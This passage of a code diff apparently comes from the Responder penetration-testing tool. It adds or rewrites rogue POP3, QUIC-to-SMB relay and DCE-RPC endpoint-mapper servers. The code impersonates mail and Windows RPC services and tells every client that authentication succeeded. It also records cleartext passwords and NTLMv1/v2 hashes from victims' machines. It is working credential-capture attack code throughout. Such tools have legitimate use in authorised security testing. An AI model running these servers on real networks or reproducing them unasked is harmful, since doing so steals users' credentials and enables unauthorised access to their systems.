'type': hash_type + '-SSP',
'client': self.client_address[0],
'user': domain + '\\' + username,
'hash': codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured %s hash from %s for user %s\\%s" % (
hash_type, self.client_address[0].replace("::ffff:", ""), domain, username), 3, 1))
return True
return False
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing NTLM: %s' % str(e)))
return False
def SendPacketAndRead(self):
"""Send OK packet and read response"""
Packet = POPOKPacket()
self.request.send(NetworkSendBufferPython2or3(Packet))
return self.request.recv(1024)
def handle(self):
try:
data = self.SendPacketAndRead()
if data[0:4] == b'CAPA':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
# Generate challenge for APOP
challenge = self.generate_challenge()
# Send banner with challenge for APOP support
banner = "+OK POP3 server ready %s\r\n" % challenge
self.request.send(banner.encode('latin-1'))
# Read first command
data = self.request.recv(1024)
# Handle CAPA (capability) command
if data[0:4].upper() == b'CAPA':
# Advertise supported auth methods
capabilities = [
"+OK Capability list follows",
"USER",
"SASL PLAIN LOGIN CRAM-MD5 NTLM",
"IMPLEMENTATION Responder POP3",
"."
]
self.request.send("\r\n".join(capabilities).encode('latin-1') + b"\r\n")
data = self.request.recv(1024)
if data[0:4] == b'AUTH':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
# Handle AUTH command
if data[0:4].upper() == b'AUTH':
mechanism = data[5:].strip().upper()
if mechanism == b'PLAIN':
self.handle_auth_plain(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'LOGIN':
self.handle_auth_login(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
self.handle_auth_cram_md5(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'NTLM':
if self.handle_ntlm_auth(data):
self.send_ok("Authentication successful")
else:
self.send_err("Authentication failed")
return
elif not mechanism:
# AUTH without mechanism - list supported
auth_list = "+OK Supported mechanisms:\r\nPLAIN\r\nLOGIN\r\nCRAM-MD5\r\nNTLM\r\n.\r\n"
self.request.send(auth_list.encode('latin-1'))
data = self.request.recv(1024)
else:
self.send_err("Unsupported authentication method")
return
# Handle APOP command
if data[0:4].upper() == b'APOP':
if self.handle_apop(data):
self.send_ok("Authentication successful")
else:
self.send_err("Authentication failed")
return
# Handle traditional USER/PASS
if data[0:4].upper() == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
self.send_ok("Password required")
data = self.request.recv(1024)
if data[0:4] == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1")
data = self.SendPacketAndRead()
if data[0:4] == b'PASS':
Pass = data[5:].strip(b"\r\n").decode("latin-1")
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
self.SendPacketAndRead()
except Exception:
if data[0:4].upper() == b'PASS':
Pass = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User + ":" + Pass,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured cleartext credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), User), 2, 1))
self.send_ok("Authentication successful")
return
self.send_err("Unknown command")
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Exception: %s' % str(e)))
pass

168
servers/QUIC.py Normal file
View File

@@ -0,0 +1,168 @@
import asyncio
import logging
import ssl
import argparse
import netifaces
from utils import *
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
BUFFER_SIZE = 11000
def get_interface_ip(interface_name):
"""Get the IP address of a network interface."""
try:
# Get address info for the specified interface
addresses = netifaces.ifaddresses(interface_name)
# Get IPv4 address (AF_INET = IPv4)
if netifaces.AF_INET in addresses:
return addresses[netifaces.AF_INET][0]['addr']
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
if netifaces.AF_INET6 in addresses:
return addresses[netifaces.AF_INET6][0]['addr']
logging.error(f"[!] No IP address found for interface {interface_name}")
return None
except ValueError:
logging.error(f"[!] Interface {interface_name} not found")
return None
class QUIC(QuicConnectionProtocol):
def __init__(self, *args, target_address=None, **kwargs):
super().__init__(*args, **kwargs)
self.tcp_connections = {} # stream_id -> (reader, writer)
self.target_address = target_address or "localhost"
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
# Only try to close connections if we have any
if self.tcp_connections:
asyncio.create_task(self.close_all_tcp_connections())
async def handle_stream_data(self, stream_id, data):
if stream_id not in self.tcp_connections:
# Create a new TCP connection to the target interface:445
try:
reader, writer = await asyncio.open_connection(self.target_address, 445)
self.tcp_connections[stream_id] = (reader, writer)
# Start task to read from TCP and write to QUIC
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
except Exception as e:
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
return
# Forward data from QUIC to TCP
try:
_, writer = self.tcp_connections[stream_id]
writer.write(data)
await writer.drain()
except Exception as e:
logging.error(f"[!] Error writing to TCP: {e}")
await self.close_tcp_connection(stream_id)
async def tcp_to_quic(self, stream_id, reader):
try:
while True:
data = await reader.read(BUFFER_SIZE)
if not data:
break
self._quic.send_stream_data(stream_id, data)
self.transmit()
except Exception as e:
logging.error(f"[!] Error reading from TCP: {e}")
finally:
await self.close_tcp_connection(stream_id)
async def close_tcp_connection(self, stream_id):
if stream_id in self.tcp_connections:
_, writer = self.tcp_connections[stream_id]
writer.close()
await writer.wait_closed()
del self.tcp_connections[stream_id]
async def close_all_tcp_connections(self):
try:
# Make a copy of the keys to avoid modification during iteration
stream_ids = list(self.tcp_connections.keys())
for stream_id in stream_ids:
try:
await self.close_tcp_connection(stream_id)
except KeyError:
# Silently ignore if the stream ID no longer exists
pass
except Exception as e:
# Catch any other exceptions that might occur
logging.debug(f"[!] Error closing TCP connections: {e}")
async def start_quic_server(listen_interface, cert_path, key_path):
# Configure QUIC
configuration = QuicConfiguration(
alpn_protocols=["smb"],
is_client=False,
)
# Load certificate and private key
try:
configuration.load_cert_chain(cert_path, key_path)
except Exception as e:
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
return
# Resolve interfaces to IP addresses
listen_ip = listen_interface
if not is_ip_address(listen_interface):
listen_ip = get_interface_ip(listen_interface)
if not listen_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
target_ip = listen_interface
if not is_ip_address(listen_interface):
target_ip = get_interface_ip(listen_interface)
if not target_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
# Start QUIC server with correct protocol factory
server = await serve(
host=listen_ip,
port=443,
configuration=configuration,
create_protocol=lambda *args, **kwargs: QUIC(
*args,
target_address=target_ip,
**kwargs
)
)
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
# Keep the server running forever
await asyncio.Future()
def is_ip_address(address):
"""Check if a string is a valid IP address."""
import socket
try:
socket.inet_pton(socket.AF_INET, address)
return True
except socket.error:
try:
socket.inet_pton(socket.AF_INET6, address)
return True
except socket.error:
return False

View File

@@ -27,188 +27,375 @@ else:
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
# Transfer syntaxes
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" # NDR v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" # v1
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
#for mapper
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
# Common RPC interface UUIDs (original ones)
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" # v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" # v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" # v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" # v1
# Additional RPC interfaces for better coverage
SAMR = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac" # v1 - Security Account Manager
SRVSVC = "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" # v3 - Server Service
WKSSVC = "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a" # v1 - Workstation Service
WINREG = "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03" # v1 - Windows Registry
SVCCTL = "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03" # v2 - Service Control Manager
ATSVC = "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b" # v1 - Task Scheduler
DNSSERVER= "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76" # v5 - DNS Server
def Chose3264x(packet):
if Map32 in packet:
return Map32
else:
return Map64
# Interface names for logging
INTERFACE_NAMES = {
DSRUAPI: "DRSUAPI",
LSARPC: "LSARPC",
NETLOGON: "NETLOGON",
WINSPOOL: "WINSPOOL",
SAMR: "SAMR",
SRVSVC: "SRVSVC",
WKSSVC: "WKSSVC",
WINREG: "WINREG",
SVCCTL: "SVCCTL",
ATSVC: "ATSVC",
DNSSERVER: "DNSSERVER"
}
def FindNTLMOpcode(data):
SSPIStart = data.find(b'NTLMSSP')
"""Find NTLMSSP message type in data"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return False
SSPIString = data[SSPIStart:]
if len(SSPIString) < 12:
return False
return SSPIString[8:12]
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
def ParseRPCHash(data, client, Challenge):
"""Parse NTLMSSP v1/v2 hashes from RPC data"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if len(SSPIString) < 64:
return
try:
LMhashLen = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
# NTLMv1
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Try to get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
# NTLMv2
elif NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Try to get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC] Error parsing hash: %s' % str(e)))
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def FindInterfaceUUID(data):
"""Find which RPC interface UUID is being requested"""
# Check for each known interface UUID in the data
for uuid, name in INTERFACE_NAMES.items():
if NetworkSendBufferPython2or3(uuid) in data:
return uuid, name
return None, None
class RPCMap(BaseRequestHandler):
"""RPCMap handler - Port 135 Endpoint Mapper"""
def handle(self):
try:
data = self.request.recv(1024)
data = self.request.recv(2048)
if not data:
return
self.request.settimeout(5)
Challenge = RandomChallenge()
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
#More recent windows version can and will bind on port 135...Let's grab it.
# Handle BIND request
if data[0:3] == b"\x05\x00\x0b": # Bind Request
# Identify which interface first
uuid, interface_name = FindInterfaceUUID(data)
if not interface_name:
interface_name = "unknown interface"
# Check for NTLMSSP NEGOTIATE in BIND
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
# Send NTLMSSP CHALLENGE
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
# Receive NTLMSSP AUTH
data = self.request.recv(2048)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
self.request.close()
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
return
# Standard BIND processing
if NetworkSendBufferPython2or3(Map) in data:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
elif NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
else:
# Try to identify which interface
if uuid:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=uuid, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
if settings.Config.Verbose:
print(text('[DCE-RPC] BIND request for %s from %s' % (interface_name, self.client_address[0].replace("::ffff:", ""))))
else:
# Default to NDR
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
# DSRUAPI
if NetworkSendBufferPython2or3(DSRUAPI) in data:
# Try to receive more data (AUTH3 or REQUEST)
try:
data = self.request.recv(2048)
if data:
# Check for AUTH3 (packet type 0x10)
if len(data) > 2 and data[2:3] == b"\x10":
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
# Check for NTLM in any subsequent packet
elif FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
except:
pass
# Handle mapper requests (after BIND)
elif data[0:3] == b"\x05\x00\x00": # Mapper request
uuid, name = FindInterfaceUUID(data)
if uuid == DSRUAPI:
x = RPCMapBindMapperAns()
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#LSARPC
if NetworkSendBufferPython2or3(LSARPC) in data:
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DRSUAPI auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == LSARPC:
x = RPCMapBindMapperAns(Tower1UID=LSARPC, Tower1Version="\x00\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#WINSPOOL
if NetworkSendBufferPython2or3(WINSPOOL) in data:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SAMR:
x = RPCMapBindMapperAns(Tower1UID=SAMR, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SAMR auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SRVSVC:
x = RPCMapBindMapperAns(Tower1UID=SRVSVC, Tower1Version="\x03\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SRVSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WKSSVC:
x = RPCMapBindMapperAns(Tower1UID=WKSSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WKSSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WINSPOOL:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WINREG:
x = RPCMapBindMapperAns(Tower1UID=WINREG, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINREG auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SVCCTL:
x = RPCMapBindMapperAns(Tower1UID=SVCCTL, Tower1Version="\x02\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SVCCTL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == ATSVC:
x = RPCMapBindMapperAns(Tower1UID=ATSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to ATSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == DNSSERVER:
x = RPCMapBindMapperAns(Tower1UID=DNSSERVER, Tower1Version="\x05\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DNSSERVER auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == NETLOGON:
# Don't redirect NETLOGON for now - we want NTLM not SecureChannel
self.request.close()
#NetLogon
if NetworkSendBufferPython2or3(NETLOGON) in data:
self.request.close()
# For now, we don't want to establish a secure channel... we want NTLM.
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
#x.calculate()
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
return
# Try to receive more data
try:
data = self.request.recv(2048)
if data and FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
except:
pass
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC] Exception in RPCMap: %s' % str(e)))
pass
finally:
try:
self.request.close()
except:
pass
class RPCMapper(BaseRequestHandler):
"""RPCMapper handler - Handles actual RPC service connections"""
def handle(self):
try:
data = self.request.recv(2048)
if not data:
return
self.request.settimeout(3)
Challenge = RandomChallenge()
# Look for NTLMSSP NEGOTIATE
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
# Wait for NTLMSSP AUTH
data = self.request.recv(2048)
# Look for NTLMSSP AUTH
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
except Exception:
self.request.close()
print(color("[*] [DCE-RPC Mapper] NTLM authentication from %s" % self.client_address[0].replace("::ffff:", ""), 3, 1))
# Check if this is a BIND with auth
elif data[0:3] == b"\x05\x00\x0b":
uuid, name = FindInterfaceUUID(data)
if name and settings.Config.Verbose:
print(text('[DCE-RPC Mapper] Connection for %s from %s' % (name, self.client_address[0].replace("::ffff:", ""))))
# Check for NTLMSSP in BIND
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(2048)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC Mapper] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC Mapper] Exception: %s' % str(e)))
pass
finally:
try:
self.request.close()
